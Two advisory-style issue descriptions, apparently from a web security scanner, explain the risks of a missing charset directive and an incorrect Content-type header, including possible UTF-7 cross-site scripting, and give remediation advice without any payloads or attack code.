If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.